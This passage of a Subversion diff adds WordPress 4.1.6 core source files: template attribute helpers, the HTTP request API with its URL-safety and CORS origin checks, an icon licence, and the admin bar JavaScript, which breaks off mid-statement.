+	 * @param string $gen  The HTML markup output to {@see wp_head()}.
+	 * @param string $type The type of generator. Accepts 'html', 'xhtml', 'atom',
+	 *                     'rss2', 'rdf', 'comment', 'export'.
+	 */
+	return apply_filters( "get_the_generator_{$type}", $gen, $type );
+}
+
+/**
+ * Outputs the html checked attribute.
+ *
+ * Compares the first two arguments and if identical marks as checked
+ *
+ * @since 1.0.0
+ *
+ * @param mixed $checked One of the values to compare
+ * @param mixed $current (true) The other value to compare if not just true
+ * @param bool $echo Whether to echo or just return the string
+ * @return string html attribute or empty string
+ */
+function checked( $checked, $current = true, $echo = true ) {
+	return __checked_selected_helper( $checked, $current, $echo, 'checked' );
+}
+
+/**
+ * Outputs the html selected attribute.
+ *
+ * Compares the first two arguments and if identical marks as selected
+ *
+ * @since 1.0.0
+ *
+ * @param mixed $selected One of the values to compare
+ * @param mixed $current (true) The other value to compare if not just true
+ * @param bool $echo Whether to echo or just return the string
+ * @return string html attribute or empty string
+ */
+function selected( $selected, $current = true, $echo = true ) {
+	return __checked_selected_helper( $selected, $current, $echo, 'selected' );
+}
+
+/**
+ * Outputs the html disabled attribute.
+ *
+ * Compares the first two arguments and if identical marks as disabled
+ *
+ * @since 3.0.0
+ *
+ * @param mixed $disabled One of the values to compare
+ * @param mixed $current (true) The other value to compare if not just true
+ * @param bool $echo Whether to echo or just return the string
+ * @return string html attribute or empty string
+ */
+function disabled( $disabled, $current = true, $echo = true ) {
+	return __checked_selected_helper( $disabled, $current, $echo, 'disabled' );
+}
+
+/**
+ * Private helper function for checked, selected, and disabled.
+ *
+ * Compares the first two arguments and if identical marks as $type
+ *
+ * @since 2.8.0
+ * @access private
+ *
+ * @param mixed $helper One of the values to compare
+ * @param mixed $current (true) The other value to compare if not just true
+ * @param bool $echo Whether to echo or just return the string
+ * @param string $type The type of checked|selected|disabled we are doing
+ * @return string html attribute or empty string
+ */
+function __checked_selected_helper( $helper, $current, $echo, $type ) {
+	if ( (string) $helper === (string) $current )
+		$result = " $type='$type'";
+	else
+		$result = '';
+
+	if ( $echo )
+		echo $result;
+
+	return $result;
+}
+
+/**
+ * Default settings for heartbeat
+ *
+ * Outputs the nonce used in the heartbeat XHR
+ *
+ * @since 3.6.0
+ *
+ * @param array $settings
+ * @return array $settings
+ */
+function wp_heartbeat_settings( $settings ) {
+	if ( ! is_admin() )
+		$settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );
+
+	if ( is_user_logged_in() )
+		$settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );
+
+	return $settings;
+}
+
+/**
+ * Temporary function to add a missing style rule to the themes page.
+ * This avoids the need to ship an entirely rebuilt wp-admin.css in partial builds.
+ *
+ * @since 4.1.1
+ * @ignore
+ */
+function _wp_add_themesphp_notice_styling() {
+	global $pagenow;
+	if ( 'themes.php' == $pagenow ) {
+		echo "<style type='text/css'>.themes-php div.notice { margin: 0 0 20px 0; clear: both; }</style>\n";
+	}
+}
+add_action( 'admin_head', '_wp_add_themesphp_notice_styling' );
Index: /tags/4.1.6/src/wp-includes/http.php
===================================================================
--- /tags/4.1.6/src/wp-includes/http.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/http.php	(revision 33402)
@@ -0,0 +1,552 @@
+<?php
+/**
+ * Simple and uniform HTTP request API.
+ *
+ * Will eventually replace and standardize the WordPress HTTP requests made.
+ *
+ * @link https://core.trac.wordpress.org/ticket/4779 HTTP API Proposal
+ *
+ * @package WordPress
+ * @subpackage HTTP
+ * @since 2.7.0
+ */
+
+/**
+ * Returns the initialized WP_Http Object
+ *
+ * @since 2.7.0
+ * @access private
+ *
+ * @return WP_Http HTTP Transport object.
+ */
+function _wp_http_get_object() {
+	static $http;
+
+	if ( is_null($http) )
+		$http = new WP_Http();
+
+	return $http;
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_request( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->request( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request using the GET method.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_get( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->get( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request using the POST method.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_post( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->post( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from a safe HTTP request using the HEAD method.
+ *
+ * This function is ideal when the HTTP request is being made to an arbitrary
+ * URL. The URL is validated to avoid redirection and request forgery attacks.
+ *
+ * @since 3.6.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url Site URL to retrieve.
+ * @param array $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_safe_remote_head( $url, $args = array() ) {
+	$args['reject_unsafe_urls'] = true;
+	$http = _wp_http_get_object();
+	return $http->head( $url, $args );
+}
+
+/**
+ * Retrieve the raw response from the HTTP request.
+ *
+ * The array structure is a little complex:
+ *
+ *     $res = array(
+ *         'headers'  => array(),
+ *         'response' => array(
+ *             'code'    => int,
+ *             'message' => string
+ *         )
+ *     );
+ *
+ * All of the headers in $res['headers'] are with the name as the key and the
+ * value as the value. So to get the User-Agent, you would do the following.
+ *
+ *     $user_agent = $res['headers']['user-agent'];
+ *
+ * The body is the raw response content and can be retrieved from $res['body'].
+ *
+ * This function is called first to make the request and there are other API
+ * functions to abstract out the above convoluted setup.
+ *
+ * Request method defaults for helper functions:
+ *  - Default 'GET'  for wp_remote_get()
+ *  - Default 'POST' for wp_remote_post()
+ *  - Default 'HEAD' for wp_remote_head()
+ *
+ * @since 2.7.0
+ *
+ * @see WP_Http::request() For additional information on default arguments.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_request($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->request($url, $args);
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the GET method.
+ *
+ * @since 2.7.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_get($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->get($url, $args);
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the POST method.
+ *
+ * @since 2.7.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_post($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->post($url, $args);
+}
+
+/**
+ * Retrieve the raw response from the HTTP request using the HEAD method.
+ *
+ * @since 2.7.0
+ *
+ * @see wp_remote_request() For more information on the response array format.
+ * @see WP_Http::request() For default arguments information.
+ *
+ * @param string $url  Site URL to retrieve.
+ * @param array  $args Optional. Request arguments. Default empty array.
+ * @return WP_Error|array The response or WP_Error on failure.
+ */
+function wp_remote_head($url, $args = array()) {
+	$objFetchSite = _wp_http_get_object();
+	return $objFetchSite->head($url, $args);
+}
+
+/**
+ * Retrieve only the headers from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return array The headers of the response. Empty array if incorrect parameter given.
+ */
+function wp_remote_retrieve_headers( $response ) {
+	if ( is_wp_error($response) || ! isset($response['headers']) || ! is_array($response['headers']))
+		return array();
+
+	return $response['headers'];
+}
+
+/**
+ * Retrieve a single header by name from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response
+ * @param string $header Header name to retrieve value from.
+ * @return string The header value. Empty string on if incorrect parameter given, or if the header doesn't exist.
+ */
+function wp_remote_retrieve_header( $response, $header ) {
+	if ( is_wp_error($response) || ! isset($response['headers']) || ! is_array($response['headers']))
+		return '';
+
+	if ( array_key_exists($header, $response['headers']) )
+		return $response['headers'][$header];
+
+	return '';
+}
+
+/**
+ * Retrieve only the response code from the raw response.
+ *
+ * Will return an empty array if incorrect parameter value is given.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return int|string The response code as an integer. Empty string on incorrect parameter given.
+ */
+function wp_remote_retrieve_response_code( $response ) {
+	if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response']))
+		return '';
+
+	return $response['response']['code'];
+}
+
+/**
+ * Retrieve only the response message from the raw response.
+ *
+ * Will return an empty array if incorrect parameter value is given.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return string The response message. Empty string on incorrect parameter given.
+ */
+function wp_remote_retrieve_response_message( $response ) {
+	if ( is_wp_error($response) || ! isset($response['response']) || ! is_array($response['response']))
+		return '';
+
+	return $response['response']['message'];
+}
+
+/**
+ * Retrieve only the body from the raw response.
+ *
+ * @since 2.7.0
+ *
+ * @param array $response HTTP response.
+ * @return string The body of the response. Empty string if no body or incorrect parameter given.
+ */
+function wp_remote_retrieve_body( $response ) {
+	if ( is_wp_error($response) || ! isset($response['body']) )
+		return '';
+
+	return $response['body'];
+}
+
+/**
+ * Determines if there is an HTTP Transport that can process this request.
+ *
+ * @since 3.2.0
+ *
+ * @param array  $capabilities Array of capabilities to test or a wp_remote_request() $args array.
+ * @param string $url Optional. If given, will check if the URL requires SSL and adds that requirement to the capabilities array.
+ *
+ * @return bool
+ */
+function wp_http_supports( $capabilities = array(), $url = null ) {
+	$objFetchSite = _wp_http_get_object();
+
+	$capabilities = wp_parse_args( $capabilities );
+
+	$count = count( $capabilities );
+
+	// If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array
+	if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) == $count ) {
+		$capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) );
+	}
+
+	if ( $url && !isset( $capabilities['ssl'] ) ) {
+		$scheme = parse_url( $url, PHP_URL_SCHEME );
+		if ( 'https' == $scheme || 'ssl' == $scheme ) {
+			$capabilities['ssl'] = true;
+		}
+	}
+
+	return (bool) $objFetchSite->_get_first_available_transport( $capabilities );
+}
+
+/**
+ * Get the HTTP Origin of the current request.
+ *
+ * @since 3.4.0
+ *
+ * @return string URL of the origin. Empty string if no origin.
+ */
+function get_http_origin() {
+	$origin = '';
+	if ( ! empty ( $_SERVER[ 'HTTP_ORIGIN' ] ) )
+		$origin = $_SERVER[ 'HTTP_ORIGIN' ];
+
+	/**
+	 * Change the origin of an HTTP request.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $origin The original origin for the request.
+	 */
+	return apply_filters( 'http_origin', $origin );
+}
+
+/**
+ * Retrieve list of allowed HTTP origins.
+ *
+ * @since 3.4.0
+ *
+ * @return array Array of origin URLs.
+ */
+function get_allowed_http_origins() {
+	$admin_origin = parse_url( admin_url() );
+	$home_origin = parse_url( home_url() );
+
+	// @todo preserve port?
+	$allowed_origins = array_unique( array(
+		'http://' . $admin_origin[ 'host' ],
+		'https://' . $admin_origin[ 'host' ],
+		'http://' . $home_origin[ 'host' ],
+		'https://' . $home_origin[ 'host' ],
+	) );
+
+	/**
+	 * Change the origin types allowed for HTTP requests.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $allowed_origins {
+	 *     Default allowed HTTP origins.
+	 *     @type string Non-secure URL for admin origin.
+	 *     @type string Secure URL for admin origin.
+	 *     @type string Non-secure URL for home origin.
+	 *     @type string Secure URL for home origin.
+	 * }
+	 */
+	return apply_filters( 'allowed_http_origins' , $allowed_origins );
+}
+
+/**
+ * Determines if the HTTP origin is an authorized one.
+ *
+ * @since 3.4.0
+ *
+ * @param null|string $origin Origin URL. If not provided, the value of get_http_origin() is used.
+ * @return bool|null True if the origin is allowed. False otherwise.
+ */
+function is_allowed_http_origin( $origin = null ) {
+	$origin_arg = $origin;
+
+	if ( null === $origin )
+		$origin = get_http_origin();
+
+	if ( $origin && ! in_array( $origin, get_allowed_http_origins() ) )
+		$origin = '';
+
+	/**
+	 * Change the allowed HTTP origin result.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string $origin Result of check for allowed origin.
+	 * @param string $origin_arg original origin string passed into is_allowed_http_origin function.
+	 */
+	return apply_filters( 'allowed_http_origin', $origin, $origin_arg );
+}
+
+/**
+ * Send Access-Control-Allow-Origin and related headers if the current request
+ * is from an allowed origin.
+ *
+ * If the request is an OPTIONS request, the script exits with either access
+ * control headers sent, or a 403 response if the origin is not allowed. For
+ * other request methods, you will receive a return value.
+ *
+ * @since 3.4.0
+ *
+ * @return bool|string Returns the origin URL if headers are sent. Returns false
+ * if headers are not sent.
+ */
+function send_origin_headers() {
+	$origin = get_http_origin();
+
+	if ( is_allowed_http_origin( $origin ) ) {
+		@header( 'Access-Control-Allow-Origin: ' .  $origin );
+		@header( 'Access-Control-Allow-Credentials: true' );
+		if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] )
+			exit;
+		return $origin;
+	}
+
+	if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
+		status_header( 403 );
+		exit;
+	}
+
+	return false;
+}
+
+/**
+ * Validate a URL for safe use in the HTTP API.
+ *
+ * @since 3.5.2
+ *
+ * @param string $url
+ * @return false|string URL or false on failure.
+ */
+function wp_http_validate_url( $url ) {
+	$original_url = $url;
+	$url = wp_kses_bad_protocol( $url, array( 'http', 'https' ) );
+	if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) )
+		return false;
+
+	$parsed_url = @parse_url( $url );
+	if ( ! $parsed_url || empty( $parsed_url['host'] ) )
+		return false;
+
+	if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) )
+		return false;
+
+	if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) )
+		return false;
+
+	$parsed_home = @parse_url( get_option( 'home' ) );
+
+	$same_host = strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
+
+	if ( ! $same_host ) {
+		$host = trim( $parsed_url['host'], '.' );
+		if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
+			$ip = $host;
+		} else {
+			$ip = gethostbyname( $host );
+			if ( $ip === $host ) // Error condition for gethostbyname()
+				$ip = false;
+		}
+		if ( $ip ) {
+			$parts = array_map( 'intval', explode( '.', $ip ) );
+			if ( 127 === $parts[0] || 10 === $parts[0]
+				|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
+				|| ( 192 === $parts[0] && 168 === $parts[1] )
+			) {
+				// If host appears local, reject unless specifically allowed.
+				/**
+				 * Check if HTTP request is external or not.
+				 *
+				 * Allows to change and allow external requests for the HTTP request.
+				 *
+				 * @since 3.6.0
+				 *
+				 * @param bool false Whether HTTP request is external or not.
+				 * @param string $host IP of the requested host.
+				 * @param string $url URL of the requested host.
+				 */
+				if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) )
+					return false;
+			}
+		}
+	}
+
+	if ( empty( $parsed_url['port'] ) )
+		return $url;
+
+	$port = $parsed_url['port'];
+	if ( 80 === $port || 443 === $port || 8080 === $port )
+		return $url;
+
+	if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port )
+		return $url;
+
+	return false;
+}
+
+/**
+ * Whitelists allowed redirect hosts for safe HTTP requests as well.
+ *
+ * Attached to the http_request_host_is_external filter.
+ *
+ * @since 3.6.0
+ *
+ * @param bool $is_external
+ * @param string $host
+ * @return bool
+ */
+function allowed_http_request_hosts( $is_external, $host ) {
+	if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) )
+		$is_external = true;
+	return $is_external;
+}
+
+/**
+ * Whitelists any domain in a multisite installation for safe HTTP requests.
+ *
+ * Attached to the http_request_host_is_external filter.
+ *
+ * @since 3.6.0
+ *
+ * @param bool $is_external
+ * @param string $host
+ * @return bool
+ */
+function ms_allowed_http_request_hosts( $is_external, $host ) {
+	global $wpdb;
+	static $queried = array();
+	if ( $is_external )
+		return $is_external;
+	if ( $host === get_current_site()->domain )
+		return true;
+	if ( isset( $queried[ $host ] ) )
+		return $queried[ $host ];
+	$queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) );
+	return $queried[ $host ];
+}
Index: /tags/4.1.6/src/wp-includes/images/crystal/license.txt
===================================================================
--- /tags/4.1.6/src/wp-includes/images/crystal/license.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/images/crystal/license.txt	(revision 33402)
@@ -0,0 +1,9 @@
+Crystal Project Icons
+by Everaldo Coelho
+http://everaldo.com
+
+Released under LGPL
+
+Modified February 2008
+for WordPress
+https://wordpress.org
Index: /tags/4.1.6/src/wp-includes/js/admin-bar.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/admin-bar.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/admin-bar.js	(revision 33402)
@@ -0,0 +1,365 @@
+/* jshint loopfunc: true */
+// use jQuery and hoverIntent if loaded
+if ( typeof(jQuery) != 'undefined' ) {
+	if ( typeof(jQuery.fn.hoverIntent) == 'undefined' ) {
+		/* jshint ignore:start */
+		// hoverIntent r6 - Copy of wp-includes/js/hoverIntent.min.js
+		(function(a){a.fn.hoverIntent=function(m,d,h){var j={interval:100,sensitivity:7,timeout:0};if(typeof m==="object"){j=a.extend(j,m)}else{if(a.isFunction(d)){j=a.extend(j,{over:m,out:d,selector:h})}else{j=a.extend(j,{over:m,out:m,selector:d})}}var l,k,g,f;var e=function(n){l=n.pageX;k=n.pageY};var c=function(o,n){n.hoverIntent_t=clearTimeout(n.hoverIntent_t);if((Math.abs(g-l)+Math.abs(f-k))<j.sensitivity){a(n).off("mousemove.hoverIntent",e);n.hoverIntent_s=1;return j.over.apply(n,[o])}else{g=l;f=k;n.hoverIntent_t=setTimeout(function(){c(o,n)},j.interval)}};var i=function(o,n){n.hoverIntent_t=clearTimeout(n.hoverIntent_t);n.hoverIntent_s=0;return j.out.apply(n,[o])};var b=function(p){var o=jQuery.extend({},p);var n=this;if(n.hoverIntent_t){n.hoverIntent_t=clearTimeout(n.hoverIntent_t)}if(p.type=="mouseenter"){g=o.pageX;f=o.pageY;a(n).on("mousemove.hoverIntent",e);if(n.hoverIntent_s!=1){n.hoverIntent_t=setTimeout(function(){c(o,n)},j.interval)}}else{a(n).off("mousemove.hoverIntent",e);if(n.hoverIntent_s==1){n.hoverIntent_t=setTimeout(function(){i(o,n)},j.timeout)}}};return this.on({"mouseenter.hoverIntent":b,"mouseleave.hoverIntent":b},j.selector)}})(jQuery);
+		/* jshint ignore:end */
+	}
+	jQuery(document).ready(function($){
+		var adminbar = $('#wpadminbar'), refresh, touchOpen, touchClose, disableHoverIntent = false;
+
+		refresh = function(i, el){ // force the browser to refresh the tabbing index
+			var node = $(el), tab = node.attr('tabindex');
+			if ( tab )
+				node.attr('tabindex', '0').attr('tabindex', tab);
+		};
+
+		touchOpen = function(unbind) {
+			adminbar.find('li.menupop').on('click.wp-mobile-hover', function(e) {
+				var el = $(this);
+
+				if ( el.parent().is('#wp-admin-bar-root-default') && !el.hasClass('hover') ) {
+					e.preventDefault();
+					adminbar.find('li.menupop.hover').removeClass('hover');
+					el.addClass('hover');
+				} else if ( !el.hasClass('hover') ) {
+					e.stopPropagation();
+					e.preventDefault();
+					el.addClass('hover');
+				}
+
+				if ( unbind ) {
+					$('li.menupop').off('click.wp-mobile-hover');
+					disableHoverIntent = false;
+				}
+			});
+		};
+
+		touchClose = function() {
+			var mobileEvent = /Mobile\/.+Safari/.test(navigator.userAgent) ? 'touchstart' : 'click';
+			// close any open drop-downs when the click/touch is not on the toolbar
+			$(document.body).on( mobileEvent+'.wp-mobile-hover', function(e) {
+				if ( !$(e.target).closest('#wpadminbar').length )
+					adminbar.find('li.menupop.hover').removeClass('hover');
+			});
+		};
+
+		adminbar.removeClass('nojq').removeClass('nojs');
+
+		if ( 'ontouchstart' in window ) {
+			adminbar.on('touchstart', function(){
+				touchOpen(true);
+				disableHoverIntent = true;
+			});
+			touchClose();
+		} else if ( /IEMobile\/[1-9]/.test(navigator.userAgent) ) {
+			touchOpen();
+			touchClose();
+		}
+
+		adminbar.find('li.menupop').hoverIntent({
+			over: function() {
+				if ( disableHoverIntent )
+					return;
+
+				$(this).addClass('hover');
+			},
+			out: function() {
+				if ( disableHoverIntent )
+					return;
+
+				$(this).removeClass('hover');
+			},
+			timeout: 180,
+			sensitivity: 7,
+			interval: 100
+		});
+
+		if ( window.location.hash )
+			window.scrollBy( 0, -32 );
+
+		$('#wp-admin-bar-get-shortlink').click(function(e){
+			e.preventDefault();
+			$(this).addClass('selected').children('.shortlink-input').blur(function(){
+				$(this).parents('#wp-admin-bar-get-shortlink').removeClass('selected');
+			}).focus().select();
+		});
+
+		$('#wpadminbar li.menupop > .ab-item').bind('keydown.adminbar', function(e){
+			if ( e.which != 13 )
+				return;
+
+			var target = $(e.target), wrap = target.closest('ab-sub-wrapper');
+
+			e.stopPropagation();
+			e.preventDefault();
+
+			if ( !wrap.length )
+				wrap = $('#wpadminbar .quicklinks');
+
+			wrap.find('.menupop').removeClass('hover');
+			target.parent().toggleClass('hover');
+			target.siblings('.ab-sub-wrapper').find('.ab-item').each(refresh);
+		}).each(refresh);
+
+		$('#wpadminbar .ab-item').bind('keydown.adminbar', function(e){
+			if ( e.which != 27 )
+				return;
+
+			var target = $(e.target);
+
+			e.stopPropagation();
+			e.preventDefault();
+
+			target.closest('.hover').removeClass('hover').children('.ab-item').focus();
+			target.siblings('.ab-sub-wrapper').find('.ab-item').each(refresh);
+		});
+
+		$('#wpadminbar').click( function(e) {
+			if ( e.target.id != 'wpadminbar' && e.target.id != 'wp-admin-bar-top-secondary' )
+				return;
+
+			e.preventDefault();
+			$('html, body').animate({ scrollTop: 0 }, 'fast');
+		});
+
+		// fix focus bug in WebKit
+		$('.screen-reader-shortcut').keydown( function(e) {
+			var id, ua;
+
+			if ( 13 != e.which )
+				return;
+
+			id = $( this ).attr( 'href' );
+
+			ua = navigator.userAgent.toLowerCase();
+
+			if ( ua.indexOf('applewebkit') != -1 && id && id.charAt(0) == '#' ) {
+				setTimeout(function () {
+					$(id).focus();
+				}, 100);
+			}
+		});
+
+		// Empty sessionStorage on logging out
+		if ( 'sessionStorage' in window ) {
+			$('#wp-admin-bar-logout a').click( function() {
+				try {
+					for ( var key in sessionStorage ) {
+						if ( key.indexOf('wp-autosave-') != -1 )
+							sessionStorage.removeItem(key);
+					}
+				} catch(e) {}
+			});
+		}
+
+		if ( navigator.userAgent && document.body.className.indexOf( 'no-font-face' ) === -1 &&
+			/Android (1.0|1.1|1.5|1.6|2.0|2.1)|Nokia|Opera Mini|w(eb)?OSBrowser|webOS|UCWEB|Windows Phone OS 7|XBLWP7|ZuneWP7|MSIE 7/.test( navigator.userAgent ) ) {
+
+			document.body.className += ' no-font-face';
+		}
+	});
+} else {
+	(function(d, w) {
+		var addEvent = function( obj, type, fn ) {
+			if ( obj.addEventListener )
+				obj.addEventListener(type, fn, false);
+			else if ( obj.attachEvent )
+				obj.attachEvent('on' + type, function() { return fn.call(obj, window.event);});
+		},
+
+		aB, hc = new RegExp('\\bhover\\b', 'g'), q = [],
+		rselected = new RegExp('\\bselected\\b', 'g'),
+
+		/**
+		 * Get the timeout ID of the given element
+		 */
+		getTOID = function(el) {
+			var i = q.length;
+			while ( i-- ) {
+				if ( q[i] && el == q[i][1] )
+					return q[i][0];
+			}
+			return false;
+		},
+
+		addHoverClass = function(t) {
+			var i, id, inA, hovering, ul, li,
+				ancestors = [],
+				ancestorLength = 0;
+
+			while ( t && t != aB && t != d ) {
+				if ( 'LI' == t.nodeName.toUpperCase() ) {
+					ancestors[ ancestors.length ] = t;
+					id = getTOID(t);
+					if ( id )
+						clearTimeout( id );
+					t.className = t.className ? ( t.className.replace(hc, '') + ' hover' ) : 'hover';
+					hovering = t;
+				}
+				t = t.parentNode;
+			}
+
+			// Remove any selected classes.
+			if ( hovering && hovering.parentNode ) {
+				ul = hovering.parentNode;
+				if ( ul && 'UL' == ul.nodeName.toUpperCase() ) {
+					i = ul.childNodes.length;
+					while ( i-- ) {
+						li = ul.childNodes[i];
+						if ( li != hovering )
+							li.className = li.className ? li.className.replace( rselected, '' ) : '';
+					}
+				}
+			}
+
+			/* remove the hover class for any objects not in the immediate element's ancestry */
+			i = q.length;
+			while ( i-- ) {
+				inA = false;
+				ancestorLength = ancestors.length;
+				while( ancestorLength-- ) {
+					if ( ancestors[ ancestorLength ] == q[i][1] )
+						inA = true;
+				}
+
+				if ( ! inA )
+					q[i][1].className = q[i][1].className ? q[i][1].className.replace(hc, '') : '';
+			}
+		},
+
+		removeHoverClass = function(t) {
+			while ( t && t != aB && t != d ) {
+				if ( 'LI' == t.nodeName.toUpperCase() ) {
+					(function(t) {
+						var to = setTimeout(function() {
+							t.className = t.className ? t.className.replace(hc, '') : '';
+						}, 500);
+						q[q.length] = [to, t];
+					})(t);
+				}
+				t = t.parentNode;
+			}
+		},
+
+		clickShortlink = function(e) {
+			var i, l, node,
+				t = e.target || e.srcElement;
+
+			// Make t the shortlink menu item, or return.
+			while ( true ) {
+				// Check if we've gone past the shortlink node,
+				// or if the user is clicking on the input.
+				if ( ! t || t == d || t == aB )
+					return;
+				// Check if we've found the shortlink node.
+				if ( t.id && t.id == 'wp-admin-bar-get-shortlink' )
+					break;
+				t = t.parentNode;
+			}
+
+			// IE doesn't support preventDefault, and does support returnValue
+			if ( e.preventDefault )
+				e.preventDefault();
+			e.returnValue = false;
+
+			if ( -1 == t.className.indexOf('selected') )
+				t.className += ' selected';
+
+			for ( i = 0, l = t.childNodes.length; i < l; i++ ) {
+				node = t.childNodes[i];
+				if ( node.className && -1 != node.className.indexOf('shortlink-input') ) {
+					node.focus();
+					node.select();
+					node.onblur = function() {
+						t.className = t.className ? t.className.replace( rselected, '' ) : '';
+					};
+					break;
+				}
+			}
+			return false;
+		},
+
+		scrollToTop = function(t) {
+			var distance, speed, step, steps, timer, speed_step;
+
+			// Ensure that the #wpadminbar was the target of the click.
+			if ( t.id != 'wpadminbar' && t.id != 'wp-admin-bar-top-secondary' )
+				return;
+
+			distance    = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop || 0;
+
+			if ( distance < 1 )
+				return;
+
+			speed_step = distance > 800 ? 130 : 100;
+			speed     = Math.min( 12, Math.round( distance / speed_step ) );
+			step      = distance > 800 ? Math.round( distance / 30  ) : Math.round( distance / 20  );
+			steps     = [];
+			timer     = 0;
+
+			// Animate scrolling to the top of the page by generating steps to
+			// the top of the page and shifting to each step at a set interval.
+			while ( distance ) {
+				distance -= step;
+				if ( distance < 0 )
+					distance = 0;
+				steps.push( distance );
+
+				setTimeout( function() {
+					window.scrollTo( 0, steps.shift() );
+				}, timer * speed );
+
+				timer++;
+			}
+		};
+
+		addEvent(w, 'load', function() {
+			aB = d.getElementById('wpadminbar');
+
+			if ( d.body && aB ) {
+				d.body.appendChild( aB );
+
+				if ( aB.className )
+					aB.className = aB.className.replace(/nojs/, '');
+
+				addEvent(aB, 'mouseover', function(e) {
+					addHoverClass( e.target || e.srcElement );
+				});
+
+				addEvent(aB, 'mouseout', function(e) {
+					removeHoverClass( e.target || e.srcElement );
+				});
+
+				addEvent(aB, 'click', clickShortlink );
+
+				addEvent(aB, 'click', function(e) {
+					scrollToTop( e.target || e.srcElement );
+				});
+
+				addEvent( document.getElementById('wp-admin-bar-logout'), 'click', function() {
+					if ( 'sessionStorage' in window ) {
+						try {
+							for ( var key in sessionStorage ) {
+								if ( key.indexOf('wp-autosave-') != -1 )
+									sessionStorage.removeItem(key);
+							}
+						} catch(e) {}
+					}
+				});
+			}
+
+			if ( w.location.hash )
+				w.scrollBy(0,-32);
+
+			if ( navigator.userAgent && document.body.className.indexOf( 'no-font-face' ) === -1 &&
